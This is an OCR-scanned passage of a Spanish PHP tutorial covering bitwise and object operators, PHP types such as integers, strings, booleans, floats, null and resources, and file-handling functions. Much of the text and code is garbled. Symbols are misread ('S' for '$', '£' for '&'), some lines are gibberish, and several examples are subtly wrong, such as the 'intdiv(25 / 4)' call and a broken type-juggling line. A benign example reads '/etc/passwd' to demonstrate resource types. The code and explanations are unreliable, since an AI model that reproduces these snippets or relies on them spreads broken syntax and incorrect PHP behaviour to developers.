cons MOBAnO 
Cons ROBO 
seme (OJSIPTO) 
Someta OI2 PIO) 


al ¡a 
l 


private Soptions = self::OPTION_A | self: :OPTION_C; 


public function toggle0Option (int S$option)Í 
Sthis->options *= S$option; 


) 


public function enable(int $option)(Í 
$this->options |= $option; // enable S$option regardless of its original state 


) 


public function disable(int Soption)( 
$this->options = -S$option; // disable $option regardless of its original state, 
// without affecting other bits 
) 


/** returns whether at least one of the options is enabled */ 


public function isOneEnabled (int S$options) : bool( 
return $this->options £ Soption !== 0; 
// Use !== rather than >, because 
// 1£ $foptions is about a high bit, we may be handling a negative integer 


) 


/** returns whether all of the options are enabled */ 


public function areAllEnabled(int S$options) : bool( 
return ($this->options € Soptions) === Soptions; 
// note the parentheses; beware the operator precedence 
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Este ejemplo (asumiendo que la soption solo contiene un bit) utiliza: 


+ El operador - para alternar convenientemente las máscaras de bits. 

* el ¡ operador para establecer un bit descuidando su estado original u otros bits 

* el operador - para convertir un entero con solo un bit establecido en un entero con solo un 
bit no establecido 

+ El operador s para desactivar un poco, usando estas propiedades de s : 

o Dado que s= con un bit establecido no hará nada ( (1 « 1) === 1,(0 £ 1) === 0), 
haciendo «= con un entero con un solo bit no establecido solo se eliminará ese bit , no 
afectando a otros bits. 

o ¿= con un bit no establecido, este bit ( (1 « 0) === 0, (0 £ 0) === 0) 

+ El uso del operador « con otra máscara de bits filtrará todos los demás bits que no estén 
definidos en esa máscara de bits. 

o Si la salida tiene algún bit establecido, significa que cualquiera de las opciones está 
habilitada. 

o Si la salida tiene todos los bits de la máscara de bits establecida, significa que todas 
las opciones de la máscara de bits están habilitadas. 


Tenga en cuenta que estos operadores de comparación: ( < > <= > I= 1== <> <=> ) tienen 
mayor prioridad que estos operadores máscara de bits de máscara de bits-: ( ¡ - s ). Dado que los 
resultados a nivel de bits se comparan a menudo utilizando estos operadores de comparación, 
este es un error común que se debe tener en cuenta. 


Operadores de cambio de bits 


Bitwise left shift << : desplaza todos los bits a la izquierda (más importante) según el número de 
pasos dado y descarta los bits que excedan el tamaño int 


<< $x es equivalente a eliminar los sx bits más altos y multiplicar por la potencia de sx th de 2 


pcia (ME ES, OOOO ll 2)9 // OOLOLLOO 


assert (PHP_INT_SIZE === 4); // a 32-bit system 
printf ("%x, %x", OXx5FFFFFFF << 2, Ox1FFFFFFF << 4); // YEFFFFEC, FFFEFFEFEF 


Desplazamiento a la derecha a nivel de bit >> : descarte el desplazamiento más bajo y desplace 
los bits restantes a la derecha (menos significativo) 


>> $x es equivalente a dividir por la potencia de sx th de 2 y descartar la parte no entera 


rintf£("%x", OXxXFFFFEFFF >> 3); // 1FFFEFEF 
p 


Ejemplos de usos del desplazamiento de bits: 


División rápida por 16 (mejor rendimiento que /= 16) 
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SE >>= 4 


En los sistemas de 32 bits, esto descarta todos los bits en el entero, estableciendo el valor en 0. 
En los sistemas de 64 bits, esto desactiva los 32 bits más significativos y mantiene el menor 


SE = Ex <£ 32 >> 227 
32 bits significativos, equivalentes a $x s OxFFFFFFFF 
Nota: En este ejemplo, se USa prints ("2"060") . Da salida al valor en 6 dígitos binarios. 


Operadores de objetos y clases 


Se puede acceder a los miembros de objetos o clases utilizando el operador de objeto ( -> ) y el 
operador de clase ( ::.. 


class MyClass ( 
public $a = 1; 


¡vlgilailo siestas So = 2p 

const E =>) 

¡amos Eumcreloa el) ( Terua de | 

pmolie sitcucleo iunmctlon e) ( TF6cuza 37 | 
) 
Sobject = new MyClass(); 
var_dump ($object->a); Ve ali (Ly) 
vers cluao (Sos ear: 3) —// ae (2) 
var_dump ($object::C); AS») 
var_dump (MyClass::$b);  // int(2) 
var_dump (MyClass::C); Vie (3) 
var_dump ($object->d()); // int (4) 
veme clio (sos jeces se )) Y dime (a) 
var_dump (MyClass::e()); // int(5) 
Sclassname = "MyClass"; 


var_dump ($classname: :e()); // also works! int(5) 

Tenga en cuenta que después del operador del objeto, s no debe escribirse ( sobject->a lugar de 
Sobject->sa ). Para el operador de la clase, este no es el caso y el s es necesario. Para una 
constante definida en la clase, el « nunca se usa. 


También tenga en cuenta que var_dump (MyClass: :a()); SÓlo se permite si la función a(, no hace 
referencia al objeto: 


class MyClass ( 
private Sa = 1; 
años Fuaceioa elo) 
return $this->a; 
) 
) 


Sobject = new MyClass(); 


var_dump (MyClass::d()); // Error! 
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Esto provoca un 'Error fatal de PHP: error no detectado: usar $ esto cuando no está en el 
contexto del objeto" 


Estos operadores han dejado asociatividad, que se puede utilizar para el "encadenamiento": 


class MyClass ( 
¡clas Se = il, 


public function add(int $a) ( 
$this->a += $a; 
return $this; 


¡evi Like “Eiacicoja Ese lo) 
return $this->a; 
) 
) 


Sobject = new MyClass(); 
var_dump ($object->add (4) ->get ()); // int (5) 


Estos operadores tienen la mayor prioridad (ni siquiera se mencionan en el manual), incluso más 
que el cione . Así: 


class MyClass ( 
private Sa = 0; 
¡ablgilale uacicoja ale (ua Sa) 4 
Sthis->a += $a; 
return $this; 
) 
public function get () ( 
return $this->a; 
) 
) 


Sol = new MyClass(); 

$02 = clone $ol->add (2); 
var_dump ($01->get()); // int (2) 
var_dump ($02->get ()); // int (2) 


El valor de so: se agrega a antes de clonar el objeto. 


Tenga en cuenta que el uso de paréntesis para influir en la prioridad no funcionó en la versión 5 
de PHP y anteriores (lo hace en PHP 7): 


// using the class MyClass from the previous code 
Sol = new MyClass(); 


So2 = (clone $o01)->add(2); // Error in PHP 5 and before, fine in PHP 7 
var_dump ($o01->get ()); // int (0) in PHP 7 
var_dump ($02=>get ()); // int(2) in PHP 7 


Lea Los operadores en línea: https://riptutorial.com/es/php/topic/1687/los-operadores 


https://riptutorial.com/es/nome 322 


Capítulo 62: Los tipos 


Examples 


Enteros 


Los enteros en PHP se pueden especificar de forma nativa en base 2 (binario), base 8 (octal), 
base 10 (decimal) o base 16 (hexadecimal). 


$my_decimal = 42; 
$my_binary = 0b101010; 
$Smy_octal = 052; 
$my_hexadecimal = 0x2a; 


calas (Susy loilmiaiay ar Si oia) Y 2, 
// Output is always in decimal: 42 


Los enteros tienen una longitud de 32 o 64 bits, según la plataforma. La constante par_1NT_s1ZE 
tiene un tamaño de entero en bytes. pur_1xT_max y (desde PHP 7.0) pur_1x7T_m1iw también están 
disponibles. 


printf ("Integers are %d bits long" . PHP_EOL, PHP_INT_SIZE * 8); 
printf ("They go up to %d" . PHP_EOL, PHP_INT_MAX); 


Los valores enteros se crean automáticamente según sea necesario a partir de flotadores, valores 
booleanos y cadenas. Si se necesita un typecast explícito, se puede hacer con el (int) O 
(integer) cast: 


Smy_numeric_string = "123"; 

var_dump ($my_numeric_string); 

IN ias sierime (3) "IIS0 

Smy_integer = (int)$my_numeric_string; 
var_dump ($my_integer); 

// Output: int (123) 


El desbordamiento de enteros se manejará mediante la conversión a un flotador: 


$too_big_integer = PHP_INT_MAX + 7; 
var_dump ($too_big_integer); 
// Output: float (9.2233720368548E+18) 


No hay un operador de división de enteros en PHP, pero se puede simular utilizando un 
lanzamiento implícito, que siempre se "redondea" simplemente descartando la parte flotante. A 
partir de la versión 7 de PHP, se agregó una función de división entera. 


$not_an_integer = 25 / 4; 

var_dump ($not_an_integer); 

IN Oaijwies loewe (8,23) 

var_dump((int) (25 / 4)); // (see note below) 
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Pl Oaiames dime (6) 
var_dump (intdiv(25 / 4)); // as of PHP7 
// Output: int (6) 


(Tenga en cuenta que los paréntesis adicionales alrededor de (25 / 4) son necesarios porque el 
(int) Cast tiene mayor precedencia que la división) 


Instrumentos de cuerda 


Una cadena en PHP es una serie de caracteres de un solo byte (es decir, no hay soporte nativo 
de Unicode) que se puede especificar de cuatro maneras: 


Cita única 

Muestra las cosas casi completamente "como es". Las variables y la mayoría de las secuencias 
de escape no serán interpretadas. La excepción es que para mostrar una comilla literal, uno 
puede escapar con una barra diagonal invertida ', y para mostrar una barra diagonal inversa, se 


puede escapar con otra barra diagonal inversa 1 


$my_string = 'Nothing is parsed, except an escapY'd apostrophe or backslash. $fooWn'; 


var_dump ($my_string); 


/* 
string(68) "Nothing is parsed, except an escap'd apostrophe or backslash. $fooin" 
2) 


Doble citado 


A diferencia de una cadena entre comillas simples, se evaluarán los nombres de variables 
simples y las secuencias de escape en las cadenas. Se pueden usar llaves (como en el último 
ejemplo) para aislar nombres de variables complejas. 


Svariablel = "Testing!"; 

Swerslaloles = [ "Iestiaga, [| Wrsaililuzo"!, "“Succ=sss" 1 17 
S$my_string = "Variables and escape characters are parsed:1Inin"; 
Smy_string .= "Svariablelinin$variable2[0]inin"; 

Smy_string .= "There are limits: $variable2[1][0]"; 


Smy_string .= "But we can get around them by wrapping the whole variable in braces: 
($Svariable2[1][11)"; 
var_dump ($my_string); 


/¡* 


string(98) "Variables and escape characters are parsed: 
Testing! 


Testing? 


There are limits: Array[0]" 


But we can get around them by wrapping the whole variable in braces: Success 
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E 


Heredoc 


En una cadena heredoc, los nombres de variable y las secuencias de escape se analizan de 
manera similar a las cadenas entre comillas dobles, aunque las llaves no están disponibles para 
los nombres de variable complejos. El inicio de la cadena está delimitado por el ¿dentifier <<<, y 
el final por el ¿identirier , donde i¡dentifier es cualquier nombre PHP válido. El identificador final 
debe aparecer en una línea por sí mismo. No se permite ningún espacio en blanco antes o 
después del identificador, aunque como cualquier línea en PHP, también debe terminar con un 
punto y coma. 


Svariablel = "Including text blocks is easier"; 
Smy_string = <<< EOF 


Everything is parsed in the same fashion as a double-quoted string, 
but there are advantages. $variablel; database queries and HTML output 


Can benefit from this formatting. 

Once we hit a line containing nothing but the identifier, the string ends. 
EOF'; 

var_dump ($my_string); 


/¡* 


string(268) "Everything is parsed in the same fashion as a double-quoted string, 


but there are advantages. Including text blocks is easier; database queries and HTML output 
Can benefit from this formatting. 


Once we hit a line containing nothing but the identifier, the string ends." 


E 


Ahoradoc 


Una cadena nowdoc es como la versión de heredoc entre comillas simples, aunque ni siquiera se 
evalúan las secuencias de escape más básicas. El identificador al principio de la cadena se 
incluye entre comillas simples. 


PHP 5.x 5.3 


Sm Serio = <<< "mo" 

A similar syntax to heredoc but, similar to single quoted strings, 
nothing is parsed (not even escaped apostrophes X' and backslashes 11.) 
EOF'; 

var_dump ($my_string); 


/* 
string(116) "A similar syntax to heredoc but, similar to single quoted strings, 
nothing is parsed (not even escaped apostrophes X' and backslashes 11.)" 


e 


Booleano 
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Boolean es un tipo, que tiene dos valores, denotado como true O false . 


Este código establece el valor de $£oo COMO true Y $bar COMO false : 


SEDO = ENS) 
Sbar = false; 


true Y false no distinguen entre mayúsculas y minúsculas, por lo que también se pueden usar 
TRUE Y FALSE , incluso es posible ranse . El uso de minúsculas es más común y se recomienda en la 
mayoría de las guías de estilo de código, por ejemplo, PSR-2 . 


Los booleanos se pueden usar en sentencias como esta: 


if ($foo) í //same as evaluating if($foo == true) 
echo "true"; 


Debido al hecho de que PHP está escrito de forma débil, si $roo anterior es distinto de true O false 
, se convierte automáticamente en un valor booleano. 
Los siguientes valores dan como resultado raise : 


* un valor cero: o (entero), o.o (flotante) o o: (cadena) 
* una cadena vacía :: o matriz (1 
* nul1 (el contenido de una variable no establecida, o asignado a una variable) 


Cualquier otro valor resulta en true . 


Para evitar esta comparación, puede imponer una comparación sólida utilizando === , que 
compara valor y tipo . Vea la comparación de tipos para más detalles. 


Para convertir un tipo en booleano, puede usar la conversión (boo1) O (boolean) antes del tipo. 
var_dump((boo1) "1"); //evaluates to true 

O llame a la función boo1va: : 
var_dump ( boolval("1") ); //evaluates to true 

Conversión booleana a una cadena (tenga en cuenta que false produce una cadena vacía): 


ver cmo (subas) sus )p 4/ sirsias (y) Wi 
werz cum (suda) teles )p 4/ seria (0) YU 


Conversión booleana a un entero: 


ver clio (lime) rus )o // dime (1) 
var_dump( (int) false ); // int(0) 


Tenga en cuenta que lo contrario también es posible: 
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var_dump ( (bool) ""); // bool (false) 
var_dump ((boo1) 1); // bool (true) 


También todo lo que no sea cero devolverá verdadero: 


var_dump ((boo1) -2); // bool (true) 
var_dump ( (bool) "foo"); // bool (true) 
var_dump ( (bool) 2.3e5); // bool (true) 
var_dump ((boo1) array(12)); // bool (true) 
var_dump ((bool1) array()); // bool(false) 
var_dump ((bool1) "false"); // bool (true) 


Flotador 
Silos = 0,1239 


Por razones históricas, syet+ype () devuelve "double" en caso de un flotador, y no 
simplemente "float" 


Los flotantes son números de punto flotante, que permiten una mayor precisión de salida que los 


enteros planos. 


Los flotantes y los enteros se pueden usar juntos debido a la conversión suelta de tipos variables 


de PHP: 


Sstm = 3 + 03d 


echo $sum; // 3.14 


php no muestra float como número flotante como otros idiomas, por ejemplo: 


$var = 1; 
echo ((float) $var); //returns 1 not 1.0 


Advertencia 


Precisión de punto flotante 
(De la página del manual de PHP ) 


Los números de punto flotante tienen una precisión limitada. Aunque depende del 
sistema, PHP suele dar un error relativo máximo debido al redondeo en el orden de 
1.11e-16. Las operaciones aritméticas no elementales pueden dar errores más 
grandes, y la propagación de errores debe considerarse cuando se componen varias 
operaciones. 


Además, los números racionales que se pueden representar exactamente como 
números de punto flotante en la base 10, como 0.1 o 0.7, no tienen una representación 
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exacta como números de punto flotante en la base 2 (binario), que se usa 
internamente, sin importar el tamaño de la mantisa . Por lo tanto, no pueden 
convertirse en sus equivalentes binarios internos sin una pequeña pérdida de 
precisión. Esto puede llevar a resultados confusos: por ejemplo, floor ((0.1 + 0.7) * 10) 
generalmente devolverá 7 en lugar del esperado 8, ya que la representación interna 
será algo así como 7.9999999999999991118 .... 


Por lo tanto, nunca confíe los resultados de los números flotantes al último dígito, y no 
compare los números de punto flotante directamente por igualdad. Si es necesaria una 
mayor precisión, las funciones matemáticas de precisión arbitraria y las funciones gmp 
están disponibles. 


Callable 


Callables son cualquier cosa que se puede llamar como una devolución de llamada. Las cosas 
que pueden denominarse "devolución de llamada" son las siguientes: 


* Funciones anonimas 

+ Funciones estándar de PHP (nota: no construcciones de lenguaje ) 

. Clases estáticas 

+ Clases no estáticas ( usando una sintaxis alternativa ) 

* Objetos específicos / Métodos de clase 

* Los objetos mismos, siempre que el objeto se encuentre en la clave o de una matriz 


Ejemplo de referenciar un objeto como un elemento de matriz: 


Sobj = new MyClass(); 
call_user_func([$o0ob3], 'myCallbackMethod']); 


Las devoluciones de llamada se pueden denotar mediante una sugerencia de tipo call1ab1e partir 
de PHP 5.4. 


Scallable = function () ( 
return 'value'; 

y; 

function call_something(callable $£n) ( 
cedlil_ mec pomo (Sia) y 


) 


call_something($callable); 


Nulo 


PHP representa "sin valor" con la palabra clave ...11 . Es algo similar al puntero nulo en lenguaje 
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C y al valor NULL en SQL. 


Configurando la variable a nula: 


$nullvar = null; // directly 


function doSomething() () // this function does not return anything 
$nullvar = doSomething(); // so the null is assigned to $nullvar 


Comprobando si la variable se estableció en nulo: 


a (as au (Samlilrcre)) € veziacle Ls muii / ] 


1f ($nullvar === null) [ /* variable is null */ ) 


Variable nula vs indefinida 


Si la variable no se definió o no se definió, cualquier prueba contra el nulo tendrá éxito, pero 
también generará UN Notice: Undefined variable: nullvar : Notice: Undefined variable: nullvar : 


$nullvar = null; 
unset ($nullvar); 
if ($nullvar === null) í /* true but also a Notice is printed */ ) 
ase (as al (aora) EJ sols loe subo | Morales ds jorrliaieco! +/ 


Por lo tanto, los valores indefinidos se deben verificar con ¡sse: : 


te (isc: (Savia) E y vezltagle ls null 0 se mar Even cernlaes. */  Í 


Comparación de tipos 
Hay dos tipos de comparación : comparación suelta con =- y comparación estricta con === . La 
comparación estricta garantiza que tanto el tipo como el valor de ambos lados del operador sean 


iguales. 


// Loose comparisons 


var_dump (1 == 1); // true 
var_dump (1 == "1"); // true 
var_dump (1 == true); // true 
var_dump(0 == false); // true 


// Strict comparisons 


var_dump (1 === 1); // true 
var_dump (1 === "1"); // false 
var_dump (1 === true); // false 
var_dump (0 === false); // false 


// Notable exception: NAN it never is equal to anything 
var_dump (NAN == NAN); // false 
var_dump (NAN === NAN); // false 
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También puede usar una comparación sólida para verificar si el tipo y el valor no coinciden con 


Un ejemplo típico donde el operador == no es suficiente, son funciones que pueden devolver 
diferentes tipos, como s:rpos , que devuelve ra1se si no se encuentra la s++pos searchwora , Y la 
posición de coincidencia ( int ) de lo contrario: 


if (strpos('text', 'searchword') == false) 
// strpos returns false, so == comparison works as expected here, BUT: 
if (strpos('text bla', 'text') == false) 


// strpos returns 0 (found match at position 0) and O==false is true. 
// This is probably not what you expect! 

1f (strpos('text','text') === false) 
// strpos returns 0, and 0O===false is false, so this works as expected. 


Tipo de fundición 


PHP generalmente adivina correctamente el tipo de datos que intenta usar a partir del contexto en 
el que se usa, sin embargo, a veces es útil forzar manualmente un tipo. Esto se puede lograr 
prefijando la declaración con el nombre del tipo requerido entre paréntesis: 


Shock nue 
var_dump ($boo1); // bool (true) 


Same = (Lame) Ene, 

var_dump ($int); // int (1) 

$string (string) true; 

SSticalae) a // sica (dy WAY 
(string) false; 


var_dump 
$string 


ver celu (Ssterime) // Suri (0) YU 
Sulosie = (Glow) Erane) 
var_dump ($float); // float (1) 


Sena = [e => Uf 
var_dump ((object) S$array); // object (stdClass)+1 (1) ( ["x"]=> string(1) "y" ) 


Sobject = new stdClass(); 
Bos] eci=>:. = "y 
ver clio erre) Sosjecie), // erre) E [PEMAES Serias (1) UAG 


Sstring = "asdf"; 
var_dump ((unset) $string); // NULL 


Pero tenga cuidado: no todos los tipos de conversión de tipo funcionan como uno podría esperar: 


// below 3 statements hold for 32-bits systems (PHP_INT_MAX=2147483647) 

// an integer value bigger than PHP_INT_MAX is automatically converted to float: 
var_dump ( 999888777666 ); // float (999888777666) 

// forcing to (int) gives overflow: 

var_dump((int) 999888777666 ); // int (-838602302) 

// but in a string it just returns PHP_INT_MAX 

var_dump((int) "999888777666"); // int (2147483647) 
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var_dump ((boo1) [1); // bool(false) (empty array) 
var_dump ((bool) [false]); // bool(true) (non-empty array) 


Recursos 


Un recurso es un tipo especial de variable que hace referencia a un recurso externo, como un 
archivo, socket, flujo, documento o conexión. 
Sfile = fopen('/etc/passwd', 'r'); 


cho gettype ($file); 
f Out: resource 


echo $file; 
+ Out: Resource id +2 


Hay diferentes (sub) tipos de recursos. Puede verificar el tipo de recurso usando 


get_resource_type() : 


$file = fopen('/etc/passwd', 'r'); 
cho get_resource_type($file); 


Out: stream 


Ssock = fsockopen ('www.google.com', 80); 


cho get_resource_ type ($sock); 
Out: stream 


Puede encontrar una lista completa de los tipos de recursos incorporados aquí . 


Tipo malabarismo 


PHP es un lenguaje débilmente tipado. No requiere declaración explícita de tipos de datos. El 
contexto en el que se utiliza la variable determina su tipo de datos; la conversión se realiza 
automáticamente: 


Sa = W2aWw Dl Sic 
$a = Sa + 2; // integer (4) 
Sa = Ba + 0,39 I/ Flose (41,5) 


Sa = 14 "2 oranges"; // integer (3) 


Lea Los tipos en línea: https://riptutorial.com/es/phpftopic/232/los-tipos 
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Capítulo 63: M 


Sintaxis 


anejo de archivos 


* int readfile (cadena $ nombre de archivo [, bool $ use_include_path = falso [, recurso $ 


contexto]]) 


Parámetros 


Parámetro Descripción 


nombre del 
archivo 


El nombre del archivo que se está leyendo. 


Puede usar el segundo parámetro opcional y establecerlo en 
use_ include path VERDADERO, si desea buscar el archivo en la ruta de inclusión, 
también. 
contexto Un recurso de flujo de contexto. 
Observaciones 


Sintaxis de no 


mbre de archivo 


La mayoría de los nombres de archivos pasados a las funciones en este tema son: 


1. Cuerdas en la naturaleza. 
* Los nombres de los archivos se pueden pasar directamente. Si se pasan valores de 
otros tipos, se convierten en cadena. Esto es especialmente útil con spirilernfo , QUe 
es el valor en la iteración de birectoryIterator . 


2. Relativo o absoluto. 


* Pueden ser absolutos. En sistemas similares a Unix, las rutas absolutas comienzan 


con / , por ejemplo 


, /home/user/file.txt , mientras que en Windows, las rutas 


absolutas comienzan con la unidad, por ejemplo, c:/users/user/file.txt 
* También pueden ser relativos, lo que depende del valor de ¿e+cwa y está sujeto a 


cambios por enair. 
3. Aceptar protocolos. 


+ Pueden comenzar con el scheme: // para especificar el envoltorio de protocolo para 
administrar. Por ejemplo, file_get_contents("http://example.com") recupera contenido 
de http://example.com . 


4. Slash-compatible. 


* Si bien prrecrory_separaTtoR en Windows es una barra invertida y el sistema devuelve 
barras diagonales para las rutas de forma predeterminada, el desarrollador puede 
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seguir utilizando y como el separador de directorios. Por lo tanto, por compatibilidad, 
los desarrolladores pueden usar / as separadores de directorio en todos los sistemas, 
pero tenga en cuenta que los valores devueltos por las funciones (por ejemplo, 
realpath ) pueden contener barras diagonales inversas. 


Examples 


Eliminar archivos y directorios 


Borrando archivos 


La función de un 1: elimina un solo archivo y devuelve si la operación se realizó correctamente. 


Sfilename = '/path/to/file.txt'; 


if (file exists($filename)) ( 
Ssuccess = unlink($filename); 


1f (!$success) ( 
throw new Exception ("Cannot delete $filename"); 


Eliminando directorios, con borrado 
recursivo. 


Por otro lado, los directorios deben eliminarse con +ma:- . Sin embargo, esta función solo borra los 
directorios vacíos. Para eliminar un directorio con archivos, elimine primero los archivos en los 
directorios. Si el directorio contiene subdirectorios, puede ser necesaria la recursión . 


El siguiente ejemplo escanea archivos en un directorio, borra archivos / directorios miembros de 
forma recursiva y devuelve la cantidad de archivos (no directorios) eliminados. 


Eva Loja ecumses Pele eli (siezilias Sella) 3 áliae A 
Scount = 0 


// ensure that $dir ends with a slash so that we can concatenate it with the filenames 


directly 
Sella = tiran, "ANY . Y/U 


V/ uee cie) o lise Billes 
Sulaisie = cli (Sella) 4 


SOS as meso ile mea o Siílle, ii Silo de False, ases cull == Gael maes log: 
while(($file = $list->read()) !== false) ( 
ie (Siles === 0, [| Srile === “y. comelauers 


ue (ls ile (Seblie . SrLLE)) Y 
uniline (Schie , Siile) A 
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SCOUNT ++; 
fl elsci (als eli (Sell , SEtle)) 
Scount += recurse_delete _dir($dir . Sfile); 


) 


// finally, safe to delete directory! 


iemolalie (SelLs2) e 


return $count; 


Funciones de conveniencia 


Raw directo lO 


file _get_contents Y file _put_contents brindan la capacidad de leer / escribir desde / a un archivo a 
/ desde una cadena PHP en una sola llamada. 


file _put_contents también se puede usar con el r11e_appeND máscara de bits rrLe_aPPEND para 
adjuntar, en lugar de truncar y sobrescribir, el archivo. Se puede usar junto con la máscara de bits 
LOck_Ex para adquirir un bloqueo exclusivo del archivo mientras se continúa con la escritura. 
Banderas de máscara de bits se pueden unir con el | operador en modo bit-OR. 


Spare o 

// reads contents in file.txt to $contents 

$contents = file _get_contents ($path); 

// let's change something... for example, convert the CRLF to LF! 
Seontents = setrreplace(NeEa, Na, contents) 

// now write it back to file.txt, replacing the original contents 
file _put_contents($path, $contents); 


FILE_APPEND €S Útil para Locx_ex archivos de registro, mientras que nocx_ex ayuda a prevenir la 
condición de carrera de la escritura de archivos desde múltiples procesos. Por ejemplo, para 
escribir en un archivo de registro sobre la sesión actual: 


file put_contents("logins.log", "($_SESSION["username"]) logged in", FILE_APPEND | LOCK_EX); 


CSV IO 


fgetcsv($file, $length, $separator) 


El tgerosv analiza la línea desde el archivo abierto que comprueba los campos csv. Devuelve 
campos CSV en una matriz en caso de éxito O ransz en caso de error. 


Por defecto, solo leerá una línea del archivo CSV. 


Síidle = Eopen("eomtacers. esy., e), 
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¡jc (Betas y (Sia le))7 
pila (Eecresv(Brlle, 5” 1) 
fclose($file); 


contacts.csv 


Kai Jim, Refsnes, Stavanger, Norway 
Hege, Refsnes, Stavanger, Norway 
Salida: 
Array 
( 
[0] => Kai Jim 
[1] => Refsnes 
[2] => Stavanger 
[3] => Norway 
) 
Array 
( 
[0] => Hege, 


Leyendo un archivo a stdout directamente 


readfi1e Copia un archivo al búfer de salida. readfile () no presentará ningún problema de 
memoria, incluso al enviar archivos grandes, por su cuenta. 


$file = 'monkey.gif'; 


lí (title exilses(Srile)) 


header ('Content-Description: 


File Transfer'); 


header ('Content-Type: 


header ('Content-Disposition: 


0); 
header ('Cache-Control: 


header ('Expires: 


application/octet-stream'); 
(Sitalle) , 


attachment; filename="'.basenam IDU o 


must-revalidate'); 


header ('Pragma: public'); 


header ('Content-Length: ' . filesize($file)); 


rescimlle (Side) - 
exit; 


O desde un puntero de archivo 


Alternativamente, para buscar un punto en el archivo para comenzar a copiar a la salida +pass+.. 
, USO fpassthru en fpassthru lugar. En el siguiente ejemplo, los últimos 1024 bytes se copian en la 
salida estándar: 


por 
, 


Sin fopen("file.txt 
fseek($fh, -1024, SEEK_. 
fpassthru($fh); 


bara e 40 E 
END); 
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Leyendo un archivo en una matriz 


t11e devuelve las líneas en el archivo pasado en una matriz. Cada elemento de la matriz 
corresponde a una línea en el archivo, con la nueva línea aún adjunta. 


picilme 2 (tale (Meses iae0)) 9 
test .txt 


Welcome to File handling 
This is to test file handling 


Salida: 


Array 


( 
[0] => Welcome to File handling 
[1] => This is to test file handling 


Obteniendo información del archivo 


Compruebe si una ruta es un directorio o un 
archivo 


La función ¿s «a: + devuelve si el argumento es un directorio, mientras que :s +: 1+ devuelve si el 
argumento es un archivo. Use sie exists para verificar si es cualquiera de los dos. 


Sci  = "/amls/18/ey cie oiay" y 
síile = "/uis/is/ey tiles vs 
celo ale obli (Seltz) 2 WScbie des a cuisscroray! $ VUSchie ds ao. E clisscroay, Pia HOJ, 
lis lle (Seti) Y "Sci de a file" ». "Sdiz ls more a File", 129 HO, 
sile cascs(Secliz) 2 "Ecie Sasucs” y "Sci dossate ealse”, Ji? JuolL;, 
de cul (Salle) E "stile ls a ebluascuojzy"” y "Siles more «E cluecroy, 20 O, 
is ile (selle), + "Stile ls a file" $ V"Sédle 19 mor E ¿lle", PD Ol, 
alle sxisecs (Srile) 2 "Stile extses” e "Stile deossa'e suis", 2 JMOIL, 
Esto da: 


/this/is/a/directory is a directory 
/this/is/a/directory is not a file 
/this/is/a/directory exists 
ads a/a radio e als mole E Ciiresuoay 
is ía /pildesese le a Ele 
/this/is/a/file.txt exists 
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Comprobando el tipo de archivo 


Use +:1etype para verificar el tipo de archivo, que puede ser: 


fifo 
char 
dir 
block 
link 
file 


socket 


unknown 


Pasando el nombre del +: :++ype directamente al tipo de +;1e+ype : 


Sel File (WN // clália 


Tenga en cuenta que el tipo de ri1etype devuelve false y activa Un £_warwInG si el archivo no 
existe. 


Comprobando legibilidad y capacidad de 
escritura 


Al pasar el nombre del archivo a las funciones is writable O is _readable , Verifique si el archivo se 
puede escribir o leer respectivamente. 


Las funciones devuelven false gracia si el archivo no existe. 


Comprobando el acceso a los archivos / 
modificar el tiempo 


El uso de tilenmtime Y 1: 1eatime devuelve la marca de tiempo de la última modificación o acceso 
del archivo. El valor de retorno es una marca de tiempo de Unix; consulte Trabajar con fechas y 
hora para obtener más detalles. 


caao Wrile mes lose moelilsleced om Y, care (Y=am=cr”, miller (Mate. qe) 
cano Mile ves lease acesssed om Y y, csm (Uvan=c", miles (Mile sede) 


Obtener partes de ruta con fileinfo 


$fileToAnalyze = ('/var/www/image.png'); 
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SfilePathParts = pathinfo($fileToAnalyze); 
echo '<pre>'; 


print_r($filePathParts); 
seo “<fare>") 


Este ejemplo dará como resultado: 


Array 

( 
[dirname] => /var/www 
[basenamel] => image.png 
[extension] => png 
[filename] => imag 


Que se puede utilizar como: 


SfilePathParts['dirname'] 
SfilePathParts['basename'] 
SfilePathParts['extension'] 
SfilePathParts['filename'] 


Parámetro | Detalles 


$ camino La ruta completa del archivo a analizar 


$ opción Una de las cuatro opciones disponibles [PATHINFO_DIRNAME, 
PATHINFO_BASENAME, PATHINFO_EXTENSION o PATHINFO_FILENAME] 

+ Sino se pasa una opción (el segundo parámetro), se devuelve una matriz asociativa, de lo 
contrario se devuelve una cadena. 

+ No valida que el archivo exista. 

+ Simplemente analiza la cadena en partes. No se realiza ninguna validación en el archivo 
(sin verificación de tipo mime, etc.) 

* La extensión es simplemente la última extensión de spatn La ruta para el archivo 
image. 3jpg.png Sería .png incluso si técnicamente es un archivo .3pg . Un archivo sin una 
extensión no devolverá un elemento de extensión en la matriz. 


Minimiza el uso de la memoria al tratar con archivos grandes 
Si necesitamos analizar un archivo grande, por ejemplo, un CSV de más de 10 Mbytes que 


contiene millones de filas, algunos utilizan las funciones file O file_get_contents y terminan con la 
configuración de memory_1limit CON 


Tamaño de memoria permitido de XXXXX bytes agotado 


error. Considere la siguiente fuente (top-1m.csv tiene exactamente 1 millón de filas y tiene 
aproximadamente 22 Mbytes de tamaño) 
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var_dump (memory_get_usage (true)); 


Sas = File("egs=im,esy') A 
var_dump (memory_get_usage (true)); 


Esto produce: 


int (262144) 
int (210501632) 


porque el intérprete necesitaba mantener todas las filas en la matriz sar- , por lo que consumía - 
200 Mbytes de RAM. Tenga en cuenta que ni siquiera hemos hecho nada con el contenido de la 
matriz. 


Ahora considere el siguiente código: 


var_dump (memory_get_usage (true)); 


Silmdexz = Ip 
if (($handle = fopen("top-1m.csv", "r")) !== FALSE) ( 
while (($row = fgetcsv($handle, 1000, ",")) !== FALSE) ( 
Euletputteontentes (Metop>=1m=teversedh es, inde, O SE ESE (Ss cow) PEE Ol 
FILE_APPEND); 
Sindex++; 


) 
fclose (f$handle); 
) 


var_dump (memory_get_usage (true)); 


que salidas 


int (262144) 
int (262144) 


por lo tanto, no utilizamos un solo byte extra de memoria, sino que analizamos todo el CSV y lo 
guardamos en otro archivo invirtiendo el valor de la segunda columna. Esto se debe a que fgetcsv 
lee solo una fila y $row se sobrescribe en cada bucle. 


Archivo basado en flujo lO 


Abriendo un arroyo 


topen abre un identificador de flujo de archivos, que se puede usar con varias funciones para leer, 
escribir, buscar y otras funciones encima de él. Este valor es de tipo de resource y no se puede 
pasar a otros subprocesos que conservan su funcionalidad. 


Sí -= Eguna (Werzors los, Vela // MILL xy ES Ou ermois., low dois misiliealalo] 


El segundo parámetro es el modo del flujo de archivos: 
